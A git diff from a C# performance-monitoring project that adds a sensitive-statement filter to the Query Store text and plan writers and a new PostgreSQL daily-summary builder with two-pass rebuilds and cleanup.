-        {
-            await using var hypertable = new NpgsqlCommand(HypertableSql, connection) { CommandTimeout = CatalogReadTimeoutSeconds };
-            isHypertable = (bool)(await hypertable.ExecuteScalarAsync(cancellationToken).ConfigureAwait(false))!;
-        }
-
-        var decision = Decide(serverVersionNum, isHypertable);
-        if (decision.Action == BrinAction.SkipServerVersionBelowSixteen)
-        {
-            logger.LogInformation("Query Store interval index {Index} not built: {Reason}.", IndexName, decision.Reason);
-            return;
-        }
-
-        if (decision.Action == BrinAction.SkipHypertable)
-        {
-            logger.LogWarning("Query Store interval index {Index} not built: {Reason}.", IndexName, decision.Reason);
-            return;
-        }
-
-        if (indexValid == true)
-        {
-            logger.LogDebug("Query Store interval index {Index} already exists and is valid.", IndexName);
-            return;
-        }
-
-        if (indexValid == false)
-        {
-            logger.LogWarning(
-                "Query Store interval index {Index} exists but is INVALID (an interrupted CONCURRENTLY build); dropping it and rebuilding.",
-                IndexName);
-            await using var drop = new NpgsqlCommand(DropSql, connection) { CommandTimeout = BuildTimeoutSeconds };
-            await drop.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
-        }
-
-        var started = System.Diagnostics.Stopwatch.StartNew();
-        await using (var build = new NpgsqlCommand(CreateSql, connection) { CommandTimeout = BuildTimeoutSeconds })
-        {
-            await build.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
-        }
-
-        logger.LogInformation(
-            "Query Store interval index {Index} built in {Seconds:F1}s (valid).", IndexName, started.Elapsed.TotalSeconds);
-    }
+    public static Task EnsureAsync(NpgsqlConnection connection, ILogger logger, CancellationToken cancellationToken) =>
+        QueryStoreBackgroundIndexes.EnsureAsync(connection, Spec, logger, cancellationToken);
 }
diff --git a/Darling/PerformanceMonitor.Darling.Storage/QueryStorePlanWriter.cs b/Darling/PerformanceMonitor.Darling.Storage/QueryStorePlanWriter.cs
index 91ba579ecb..a4aec30261 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/QueryStorePlanWriter.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/QueryStorePlanWriter.cs
@@ -11,6 +11,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using PerformanceMonitor.Common;
 
 namespace PerformanceMonitor.Darling.Storage;
 
@@ -53,6 +54,16 @@ public static class QueryStorePlanWriter
     /// fetch re-selects it every cycle forever, which is the old oversized-plan stall reborn through the
     /// probe. Readers are unaffected — a NULL digest joins to no dimension row, which renders exactly like
     /// the absent content it records.</para>
+    ///
+    /// <para>#4348: each plan goes through the statement filter BEFORE its digest is taken, so the dimension
+    /// row, the digest and the map row all carry the filtered plan (a named statement's text and values are the
+    /// marker; the rest of the plan is unchanged). A plan the filter could NOT fully judge because its per-batch
+    /// budget ran out (<see cref="SensitiveStatements.Session.TryXml"/> false) is DROPPED from the batch: the
+    /// map row is what makes a plan "fetched", so a plan with no map row reads as missing and the probe
+    /// refetches it next cycle under a fresh budget, where storing the marker would stand for that plan for
+    /// good. A dropped plan is not in the returned list. The caller's byte accounting measures the raw fetch
+    /// and is not affected. <paramref name="scrub"/> is the cycle's session; null starts a standalone one for
+    /// this batch.</para>
     /// </summary>
     public static async Task<IReadOnlyList<long>> WriteAsync(
         NpgsqlConnection connection,
@@ -61,6 +72,7 @@ public static async Task<IReadOnlyList<long>> WriteAsync(
         IReadOnlyList<FetchedPlan> plans,
         DateTime collectionTimeUtc,
         int commandTimeoutSeconds,
+        SensitiveStatements.Session? scrub = null,
         CancellationToken cancellationToken = default)
     {
         if (connection is null)
@@ -79,6 +91,7 @@ public static async Task<IReadOnlyList<long>> WriteAsync(
             return landed;
         }
 
+        scrub ??= new SensitiveStatements.Session();
         var batch = new PayloadDimensionBatch();
         var mapServerIds = new List<int>(plans.Count);
         var mapDatabases = new List<string>(plans.Count);
@@ -94,13 +107,20 @@ timestamptz from a Utc Kind and let Postgres convert into the session zone on th
 
         foreach (var plan in plans)
         {
+            /* #4348: judged before the digest, so the digest is of the filtered plan; an unjudged plan is dropped
+               (see the method comment) and never reaches the batch or the map. */
+            if (!scrub.TryXml(plan.PlanXml, out var planXml))
+            {
+                continue;
+            }
+
             landed.Add(plan.PlanId);
 
             byte[]? digest = null;
-            if (!string.IsNullOrEmpty(plan.PlanXml))
+            if (!string.IsNullOrEmpty(planXml))
             {
-                digest = PayloadDimensions.Digest(plan.PlanXml!);
-                batch.Add(PayloadDimensions.QueryPlanDimTable, digest, plan.PlanXml!);
+                digest = PayloadDimensions.Digest(planXml!);
+                batch.Add(PayloadDimensions.QueryPlanDimTable, digest, planXml!);
             }
 
             mapServerIds.Add(serverId);
@@ -110,6 +130,11 @@ timestamptz from a Utc Kind and let Postgres convert into the session zone on th
             mapHashes.Add(plan.PlanHash);
         }
 
+        if (landed.Count == 0)
+        {
+            return landed;
+        }
+
         using var transaction = await connection.BeginTransactionAsync(cancellationToken);
 
         /* #2776: THIS transaction is the one the 30s Npgsql default was cutting. The dimension flush below
diff --git a/Darling/PerformanceMonitor.Darling.Storage/QueryStoreTextWriter.cs b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreTextWriter.cs
index fef16cec80..b767dd15a9 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/QueryStoreTextWriter.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreTextWriter.cs
@@ -11,6 +11,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using PerformanceMonitor.Common;
 
 namespace PerformanceMonitor.Darling.Storage;
 
@@ -39,6 +40,15 @@ public static class QueryStoreTextWriter
     /// in practice, so this is about not having a special case to get wrong: a null in this store means "we
     /// fetched and there was nothing", the readers already <c>COALESCE</c> onto the fact row's own column,
     /// and the stored row is what stops the probe from re-selecting the id as missing forever.</para>
+    ///
+    /// <para>#4348: each text goes through the statement filter before it is stored, and the stored value is
+    /// the filtered one (a named statement is the marker). A text the filter could NOT judge because its
+    /// per-batch budget ran out (<see cref="SensitiveStatements.Session.TryText"/> false) is DROPPED from the
+    /// batch instead of stored: this store is write-once per (query_id, query_hash), so a stored marker would
+    /// stand for that statement for good, while an absent row is exactly what the missing-set probe reads as
+    /// "fetch me again", and the next cycle judges it under a fresh budget. A dropped id is not in the returned
+    /// list, so the caller keeps it owed. The caller's byte accounting measures the raw fetch and is not
+    /// affected. <paramref name="scrub"/> is the cycle's session; null starts a standalone one for this batch.</para>
     /// </summary>
     public static async Task<IReadOnlyList<long>> WriteAsync(
         NpgsqlConnection connection,
@@ -47,6 +57,7 @@ public static async Task<IReadOnlyList<long>> WriteAsync(
         IReadOnlyList<FetchedQueryText> texts,
         DateTime collectionTimeUtc,
         int commandTimeoutSeconds,
+        SensitiveStatements.Session? scrub = null,
         CancellationToken cancellationToken = default)
     {
         if (connection is null)
@@ -65,12 +76,13 @@ public static async Task<IReadOnlyList<long>> WriteAsync(
             return landed;
         }
 
-        var serverIds = new int[texts.Count];
-        var databases = new string[texts.Count];
-        var queryIds = new long[texts.Count];
-        var bodies = new string?[texts.Count];
-        var hashes = new string?[texts.Count];
-        var stamps = new DateTime[texts.Count];
+        scrub ??= new SensitiveStatements.Session();
+        var serverIds = new List<int>(texts.Count);
+        var databases = new List<string>(texts.Count);
+        var queryIds = new List<long>(texts.Count);
+        var bodies = new List<string?>(texts.Count);
+        var hashes = new List<string?>(texts.Count);
+        var stamps = new List<DateTime>(texts.Count);
 
         /* Naive() on the stamp, not the raw UTC value: last_seen is a ::timestamp parameter, and Npgsql
            infers timestamptz from a Kind=Utc value and lets Postgres convert it into the session zone on the
@@ -78,17 +90,28 @@ way in (#1969). A last_seen written at the wrong hour ages rows out ahead of the
            reference them, and does it silently. */
         var stamp = QueryStorePlanMap.Naive(collectionTimeUtc);
 
-        for (var i = 0; i < texts.Count; i++)
+        foreach (var text in texts)
         {
-            var text = texts[i];
+            /* #4348: judged HERE, before the row is built, so what is stored is the filtered value. A text the
+               budget left unjudged is dropped from the batch (see the method comment), not stored as the marker. */
+            if (!scrub.TryText(text.QueryText, out var body))
+            {
+                continue;
+            }
+
             landed.Add(text.QueryId);
 
-            serverIds[i] = serverId;
-            databases[i] = databaseName;
-            queryIds[i] = text.QueryId;
-            bodies[i] = text.QueryText;
-            hashes[i] = text.QueryHash;
-            stamps[i] = stamp;
+            serverIds.Add(serverId);
+            databases.Add(databaseName);
+            queryIds.Add(text.QueryId);
+            bodies.Add(body);
+            hashes.Add(text.QueryHash);
+            stamps.Add(stamp);
+        }
+
+        if (landed.Count == 0)
+        {
+            return landed;
         }
 
         /* #2776: explicit store-side budget, same reason as the plan writer. Text bodies are not compressed
@@ -96,12 +119,12 @@ way in (#1969). A last_seen written at the wrong hour ages rows out ahead of the
            but it was inheriting the same unchosen 30s default, and a cancel here has the identical effect:
            the ids read as still-missing and the target re-ships the same statements next cycle. */
         using var upsert = new NpgsqlCommand(QueryStoreTextStore.UpsertSql, connection) { CommandTimeout = commandTimeoutSeconds };
-        upsert.Parameters.AddWithValue(serverIds);
-        upsert.Parameters.AddWithValue(databases);
-        upsert.Parameters.AddWithValue(queryIds);
-        upsert.Parameters.AddWithValue(bodies);
-        upsert.Parameters.AddWithValue(hashes);
-        upsert.Parameters.AddWithValue(stamps);
+        upsert.Parameters.AddWithValue(serverIds.ToArray());
+        upsert.Parameters.AddWithValue(databases.ToArray());
+        upsert.Parameters.AddWithValue(queryIds.ToArray());
+        upsert.Parameters.AddWithValue(bodies.ToArray());
+        upsert.Parameters.AddWithValue(hashes.ToArray());
+        upsert.Parameters.AddWithValue(stamps.ToArray());
         await upsert.ExecuteNonQueryAsync(cancellationToken);
 
         return landed;
diff --git a/Darling/PerformanceMonitor.Darling.Storage/QueryStoreTopDaily.cs b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreTopDaily.cs
new file mode 100644
index 0000000000..d6ba17003c
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreTopDaily.cs
@@ -0,0 +1,394 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// Builds the per-(server, UTC day) summary of <c>collect.query_store_interval_wide</c> into
+/// <c>collect.query_store_top_daily</c> (#5094), the table <c>get_query_store_top</c>'s long windows will read whole
+/// days from.
+///
+/// <para><b>The summary is APPROXIMATE by design.</b> It stores exactly recombinable parts (row counts, sums, and the
+/// counts of non-NULL values behind each average), so a built day reproduces the unweighted mean of the interval
+/// averages and the sum of <c>execution_count</c> for that day. The only approximation is staleness: a day is summarized
+/// once it has ended, and a wide-table row that changes after that is missed (a backfill or a replayed batch into a
+/// built day) or, for a row whose <c>collection_time</c> moves from day D to D+1 after D was built, counted in both
+/// days. Rebuilding every day a second time, a day later, clears the second case, so the window in which a total can be
+/// off is about one day. A build also drops a row whose <c>first_execution_time</c> is more than <see cref="SkewSlack"/>
+/// past the end of its own day (see <see cref="BuildDaySql"/>), which takes a monitored server whose clock runs more than
+/// an hour ahead of the collector's: one more case of the same approximation. A reader that uses this table says so in
+/// its answer.</para>
+///
+/// <para><b>Two passes.</b> Pass 1 builds day D once D+1 00:00 plus <see cref="BuildAfter"/> has passed, so the
+/// collector's catch-up has settled. Pass 2 rebuilds it once D+1 00:00 plus <see cref="FinalBuildAfter"/> has passed,
+/// which is longer than any interval can span (<see cref="QueryStoreIntervalWide.IntervalSpanMargin"/>) plus the
+/// longest catch-up (<see cref="WatermarkPolicy.MaxCatchup"/>), so no row can still move into or out of D by then.
+/// A day first seen after that threshold has already passed (a store's first tick, or a long outage) is built once,
+/// straight at pass 2: a pass 1 would only be redone a tick later.
+/// <c>collect.query_store_top_daily_built</c> records which pass each day is at. A build is one transaction: the day's
+/// rows are deleted and re-inserted whole, and the built row is upserted with them, so a reader never sees a half-built
+/// day marked as built.</para>
+///
+/// <para>The service is the only writer. One tick builds at most <see cref="MaxBuildsPerTick"/> (server, day) items,
+/// oldest day first, and stops starting new builds once <see cref="MaxTickDuration"/> has passed; what it did not reach
+/// is reported as deferred and planned again next tick. A failing build is logged and skipped: the next tick plans it
+/// again. Only enabled servers are planned, and only days from the day after the server's wide-table coverage claim
+/// (<c>filled_since</c>), because the summary cannot speak for earlier days.</para>
+/// </summary>
+public static class QueryStoreTopDaily
+{
+    /// <summary>Pass 1 builds day D once D+1 00:00 plus this has passed.</summary>
+    public static readonly TimeSpan BuildAfter = TimeSpan.FromHours(2);
+
+    /// <summary>Pass 2 rebuilds day D once D+1 00:00 plus this has passed: the longest interval a row can span plus the
+    /// longest catch-up, so nothing can still be moving into or out of D.</summary>
+    public static readonly TimeSpan FinalBuildAfter = QueryStoreIntervalWide.IntervalSpanMargin + WatermarkPolicy.MaxCatchup;
+
+    /// <summary>The most (server, day, pass) builds one tick runs.</summary>
+    public const int MaxBuildsPerTick = 60;
+
+    /// <summary>The wall-clock budget of one tick: no new build starts once this much time has passed since the tick
+    /// began. A build already running finishes (or hits its own timeout), so a tick can overrun by one build.</summary>
+    public static readonly TimeSpan MaxTickDuration = TimeSpan.FromMinutes(10);
+
+    /// <summary>How far past the end of its own day a row's <c>first_execution_time</c> may sit and still be summarized
+    /// into that day (see <see cref="BuildDaySql"/>).</summary>
+    public static readonly TimeSpan SkewSlack = TimeSpan.FromHours(1);
+
+    /// <summary><see cref="SkewSlack"/> as a Postgres interval literal.</summary>
+    private static readonly string SkewSlackSql = $"interval '{(long)Math.Ceiling(SkewSlack.TotalMinutes)} minutes'";
+
+    /// <summary>The server-side <c>statement_timeout</c> each build's transaction runs under.</summary>
+    public const int BuildStatementTimeoutSeconds = 60;
+
+    /// <summary>The client-side deadline for each command: just above the server-side one, so the store's own
+    /// cancel is the one that fires.</summary>
+    private const int CommandTimeoutSeconds = BuildStatementTimeoutSeconds + 30;
+
+    private static readonly string StatementTimeoutSql = $"SET LOCAL statement_timeout = '{BuildStatementTimeoutSeconds}s'";
+
+    /// <summary>Clears one (server, day) before it is rebuilt. $1 server_id, $2 day.</summary>
+    public const string DeleteDaySql = @"
+DELETE FROM collect.query_store_top_daily
+WHERE server_id = $1
+  AND day = $2;";
+
+    /// <summary>
+    /// Summarizes one (server, day) of the wide table and returns the number of wide rows it read. $1 server_id,
+    /// $2 day (a <c>date</c>).
+    /// <para>The <c>first_execution_time</c> range is for the <c>(server_id, first_execution_time)</c> btree and the
+    /// unique key, neither of which serves <c>collection_time</c>; without it a build range-scans every row of the
+    /// server from the floor up to now. The floor drops no row: every stored row has
+    /// <c>first_execution_time &gt; collection_time - (IntervalSpanMargin + MaxCatchup)</c> (the argument is in
+    /// <see cref="QueryStoreIntervalWide.PurgeEdgeMarginSql"/>'s summary, and the MCP read applies the same floor), so a
+    /// row inside the day is inside the floor too. The upper edge, the day's end plus <see cref="SkewSlack"/>, drops only
+    /// a row whose <c>first_execution_time</c> is more than that past its own <c>collection_time</c>, which needs a
+    /// monitored server whose clock runs more than an hour ahead of the collector's; that is one more case of the
+    /// summary's documented approximation.</para>
+    /// </summary>
+    public static readonly string BuildDaySql = $@"
+WITH built AS
+(
+    INSERT INTO collect.query_store_top_daily
+    (
+        server_id, day, database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role, module_name,
+        interval_rows, execution_count_sum,
+        avg_duration_us_sum, avg_duration_us_n,
+        avg_cpu_time_us_sum, avg_cpu_time_us_n,
+        avg_logical_io_reads_sum, avg_logical_io_reads_n,
+        avg_logical_io_writes_sum, avg_logical_io_writes_n,
+        avg_physical_io_reads_sum, avg_physical_io_reads_n,
+        avg_rowcount_sum, avg_rowcount_n,
+        last_execution_time_max, query_plan_hash_max, first_execution_time_min
+    )
+    SELECT
+        w.server_id, $2, w.database_name, w.query_id, w.plan_id, w.query_hash, w.execution_type_desc, w.replica_role, w.module_name,
+        count(*), sum(w.execution_count),
+        sum(w.avg_duration_us::numeric), count(w.avg_duration_us),
+        sum(w.avg_cpu_time_us::numeric), count(w.avg_cpu_time_us),
+        sum(w.avg_logical_io_reads::numeric), count(w.avg_logical_io_reads),
+        sum(w.avg_logical_io_writes::numeric), count(w.avg_logical_io_writes),
+        sum(w.avg_physical_io_reads::numeric), count(w.avg_physical_io_reads),
+        sum(w.avg_rowcount::numeric), count(w.avg_rowcount),
+        max(w.last_execution_time), max(w.query_plan_hash), min(w.first_execution_time)
+    FROM collect.query_store_interval_wide AS w
+    WHERE w.server_id = $1
+      AND w.collection_time >= $2::timestamp
+      AND w.collection_time < $2::timestamp + interval '1 day'
+      AND w.first_execution_time >= $2::timestamp - {QueryStoreIntervalWide.PurgeEdgeMarginSql}
+      AND w.first_execution_time < $2::timestamp + interval '1 day' + {SkewSlackSql}
+    GROUP BY w.server_id, w.database_name, w.query_id, w.plan_id, w.query_hash, w.execution_type_desc, w.replica_role, w.module_name
+    RETURNING interval_rows
+)
+SELECT COALESCE(sum(interval_rows), 0)::bigint FROM built;";
+
+    /// <summary>Records the build. $1 server_id, $2 day, $3 pass, $4 built_at, $5 source_rows.</summary>
+    public const string UpsertBuiltSql = @"
+INSERT INTO collect.query_store_top_daily_built (server_id, day, pass, built_at, source_rows)
+VALUES ($1, $2, $3, $4, $5)
+ON CONFLICT (server_id, day) DO UPDATE
+SET pass = EXCLUDED.pass,
+    built_at = EXCLUDED.built_at,
+    source_rows = EXCLUDED.source_rows;";
+
+    /// <summary>
+    /// The builds due now, oldest day first. $1 now, $2 retention days, $3 <see cref="BuildAfter"/>,
+    /// $4 <see cref="FinalBuildAfter"/>, $5 the cap. Servers are the enabled ones with a wide-table coverage claim, and a
+    /// server's days start the day after its <c>filled_since</c>, since the summary cannot speak for earlier days. Days
+    /// run from two days after the retention horizon through yesterday: the purge deletes on
+    /// <c>first_execution_time</c> at the horizon, and a row collected on the horizon's next day can have started up to
+    /// <see cref="QueryStoreIntervalWide.PurgeEdgeMargin"/> earlier, so that day may already be cut. A day with no built row is due once its end plus $3 has
+    /// passed, at pass 1, or straight at pass 2 when its end plus $4 has passed too (nothing more could change it); a day
+    /// built at pass 1 is due for pass 2 once its end plus $4 has passed. Oldest day first, so a backlog works through the
+    /// oldest days once each and the next tick reaches newer ones.
+    /// </summary>
+    public const string PlanSql = @"
+SELECT s.server_id, d.day, CASE WHEN b.server_id IS NULL AND d.day + interval '1 day' + $4 > $1 THEN 1 ELSE 2 END AS pass
+FROM
+(
+    SELECT c.server_id, c.filled_since
+    FROM collect.query_store_interval_wide_coverage AS c
+    JOIN collect.servers AS sv ON sv.server_id = c.server_id
+    WHERE sv.is_enabled
+) AS s
+CROSS JOIN LATERAL
+(
+    SELECT g::date AS day
+    FROM generate_series((($1 - make_interval(days => $2))::date + 2)::timestamp, ($1::date - 1)::timestamp, interval '1 day') AS g
+) AS d
+LEFT JOIN collect.query_store_top_daily_built AS b
+  ON b.server_id = s.server_id AND b.day = d.day
+WHERE d.day >= s.filled_since::date + 1
+  AND ((b.server_id IS NULL AND d.day + interval '1 day' + $3 <= $1)
+    OR (b.pass = 1 AND d.day + interval '1 day' + $4 <= $1))
+ORDER BY d.day, s.server_id
+LIMIT $5;";
+
+    /// <summary>
+    /// Removes the expired built rows (days older than the wide table's retention, less a day, and every row of a server
+    /// that is not enabled) and returns their keys. $1 now, $2 retention days. The first of the cleanup's two steps; see
+    /// <see cref="GcSummarySql"/> for the second and for why the cleanup is driven from this small table.
+    /// </summary>
+    public const string GcBuiltSql = @"
+DELETE FROM collect.query_store_top_daily_built
+WHERE day < ($1 - make_interval(days => $2))::date - 1
+   OR server_id NOT IN (SELECT server_id FROM collect.servers WHERE is_enabled)
+RETURNING server_id, day;";
+
+    /// <summary>
+    /// Removes one expired (server, day) of summary rows: $1 server_id, $2 day. The predicate is the two leading columns of
+    /// <c>ux_query_store_top_daily</c> with constants, so it is an index probe that reads nothing but that day's rows.
+    ///
+    /// <para><b>Why two steps, driven from the built table</b> (#5507, the shape <c>PlanRegressionDaily</c> took in #5448).
+    /// The built table holds one row per server and day (a few hundred), the summary table holds every query of every
+    /// day. A delete on the summary table with its own <c>day &lt; X OR server_id NOT IN (...)</c> predicate cannot use the
+    /// unique index and reads every summary row on every hourly tick, even when nothing is due; the same predicate on the
+    /// built table is cheap only because that table is small. Joining the summary delete to the expired built rows in ONE
+    /// statement does not fix it: the planner cannot know how few rows the first delete returns and picks a hash join with
+    /// a sequential scan of the summary. So the cleanup deletes the built rows first, then removes each returned key with
+    /// this statement, in one transaction. When nothing has expired no summary statement runs at all. This relies on every
+    /// summary day having a built row, which <see cref="BuildDayAsync"/> keeps true: it deletes and re-inserts the day's
+    /// summary rows and upserts the built row in one transaction, a day with no wide rows included.</para>
+    ///
+    /// <para>Lock order: the cleanup locks the built row, then the summary rows; <see cref="BuildDayAsync"/> locks the
+    /// summary rows, then the built row. This is the order <c>PlanRegressionDaily</c>'s cleanup has against its build, and
+    /// it is kept. A cleanup and a build for the same (server, day) on two services can in principle deadlock; PostgreSQL
+    /// resolves that by aborting one side, which runs again on the next hourly tick.</para>
+    /// </summary>
+    public const string GcSummarySql = @"
+DELETE FROM collect.query_store_top_daily
+WHERE server_id = $1::integer
+AND   day = $2::date;";
+
+    /// <summary>One planned build.</summary>
+    public readonly record struct Build(int ServerId, DateOnly Day, int Pass);
+
+    /// <summary>What one tick did.</summary>
+    public readonly record struct TickResult(int BuiltPass1, int BuiltPass2, int Failed, long DaysRemoved, int Deferred = 0)
+    {
+        public int Built => BuiltPass1 + BuiltPass2;
+    }
+
+    private static DateTime Unspecified(DateTime value) => DateTime.SpecifyKind(value, DateTimeKind.Unspecified);
+
+    /// <summary>The builds due at <paramref name="nowUtc"/>, oldest day first, at most <see cref="MaxBuildsPerTick"/>.</summary>
+    public static async Task<IReadOnlyList<Build>> PlanBuildsAsync(
+        NpgsqlConnection connection, DateTime nowUtc, int retentionDays, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+
+        var builds = new List<Build>();
+        await using var command = new NpgsqlCommand(PlanSql, connection) { CommandTimeout = CommandTimeoutSeconds };
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Unspecified(nowUtc) });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = retentionDays });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Interval, Value = BuildAfter });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Interval, Value = FinalBuildAfter });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = MaxBuildsPerTick });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            builds.Add(new Build(reader.GetInt32(0), reader.GetFieldValue<DateOnly>(1), reader.GetInt32(2)));
+        }
+
+        return builds;
+    }
+
+    /// <summary>Removes the days below the retention horizon, and every row of a server that is not enabled, from both
+    /// tables, in ONE transaction (the summary and its built rows never disagree about which days exist); returns how many
+    /// built (server, day) rows went. The built rows go first and name the summary rows to remove
+    /// (<see cref="GcSummarySql"/>).</summary>
+    public static async Task<long> GcAsync(
+        NpgsqlConnection connection, DateTime nowUtc, int retentionDays, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+        var expired = new List<(int ServerId, DateOnly Day)>();
+        await using (var command = new NpgsqlCommand(GcBuiltSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Unspecified(nowUtc) });
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = retentionDays });
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                expired.Add((reader.GetInt32(0), reader.GetFieldValue<DateOnly>(1)));
+            }
+        }
+
+        foreach (var (serverId, day) in expired)
+        {
+            await using var summary = new NpgsqlCommand(GcSummarySql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds };
+            summary.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+            summary.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Date, Value = day });
+            await summary.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        await transaction.CommitAsync(cancellationToken);
+        return expired.Count;
+    }
+
+    /// <summary>
+    /// Builds one (server, day) in one transaction: the day's summary rows are deleted and re-inserted, and the built
+    /// row is upserted. A day with no wide rows still gets its built row, with <c>source_rows</c> 0. Returns the wide
+    /// rows read.
+    /// </summary>
+    public static async Task<long> BuildDayAsync(
+        NpgsqlConnection connection, int serverId, DateOnly day, int pass, DateTime nowUtc, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+
+        await using (var timeout = new NpgsqlCommand(StatementTimeoutSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            await timeout.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        await using (var delete = new NpgsqlCommand(DeleteDaySql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            delete.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+            delete.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Date, Value = day });
+            await delete.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        long sourceRows;
+        await using (var insert = new NpgsqlCommand(BuildDaySql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+            insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Date, Value = day });
+            sourceRows = Convert.ToInt64(await insert.ExecuteScalarAsync(cancellationToken));
+        }
+
+        await using (var built = new NpgsqlCommand(UpsertBuiltSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            built.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+            built.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Date, Value = day });
+            built.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Smallint, Value = (short)pass });
+            built.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Unspecified(nowUtc) });
+            built.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = sourceRows });
+            await built.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        await transaction.CommitAsync(cancellationToken);
+        return sourceRows;
+    }
+
+    /// <summary>
+    /// One maintenance tick: remove expired days, plan, then build each item in its own transaction. A build that
+    /// fails is logged (naming the server and day) and the loop goes on; the next tick plans it again. Once
+    /// <see cref="MaxTickDuration"/> has passed no further build starts, and the planned items left are reported as
+    /// deferred.
+    /// </summary>
+    public static Task<TickResult> RunTickAsync(
+        NpgsqlDataSource dataSource, DateTime nowUtc, int retentionDays, ILogger logger, CancellationToken cancellationToken)
+    {
+        var clock = Stopwatch.StartNew();
+        return RunTickAsync(dataSource, nowUtc, retentionDays, logger, () => clock.Elapsed, cancellationToken);
+    }
+
+    /// <summary><see cref="RunTickAsync(NpgsqlDataSource, DateTime, int, ILogger, CancellationToken)"/> with the elapsed
+    /// time since the tick began supplied by <paramref name="elapsed"/>, read before each build starts.</summary>
+    public static async Task<TickResult> RunTickAsync(
+        NpgsqlDataSource dataSource, DateTime nowUtc, int retentionDays, ILogger logger, Func<TimeSpan> elapsed, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(dataSource);
+        ArgumentNullException.ThrowIfNull(logger);
+        ArgumentNullException.ThrowIfNull(elapsed);
+
+        int pass1 = 0, pass2 = 0, failed = 0, started = 0;
+        long removed;
+
+        await using var connection = await dataSource.OpenConnectionAsync(cancellationToken);
+        removed = await GcAsync(connection, nowUtc, retentionDays, cancellationToken);
+        var plan = await PlanBuildsAsync(connection, nowUtc, retentionDays, cancellationToken);
+
+        foreach (var item in plan)
+        {
+            if (elapsed() >= MaxTickDuration)
+            {
+                break;
+            }
+
+            started++;
+            try
+            {
+                await BuildDayAsync(connection, item.ServerId, item.Day, item.Pass, nowUtc, cancellationToken);
+                if (item.Pass == 1)
+                {
+                    pass1++;
+                }
+                else
+                {
+                    pass2++;
+                }
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                failed++;
+                logger.LogWarning(ex, "Query Store top daily summary: building server {ServerId} day {Day:yyyy-MM-dd} (pass {Pass}) failed and is retried next tick: {Message}",
+                    item.ServerId, item.Day, item.Pass, ex.Message);
+            }
+        }
+
+        var deferred = plan.Count - started;
+        var result = new TickResult(pass1, pass2, failed, removed, deferred);
+        logger.LogInformation("Query Store top daily summary: built {Built} (pass1 {Pass1}, pass2 {Pass2}), failed {Failed}, deferred {Deferred}, removed {Removed} day(s)",
+            result.Built, pass1, pass2, failed, deferred, removed);
+        return result;
+    }
+}
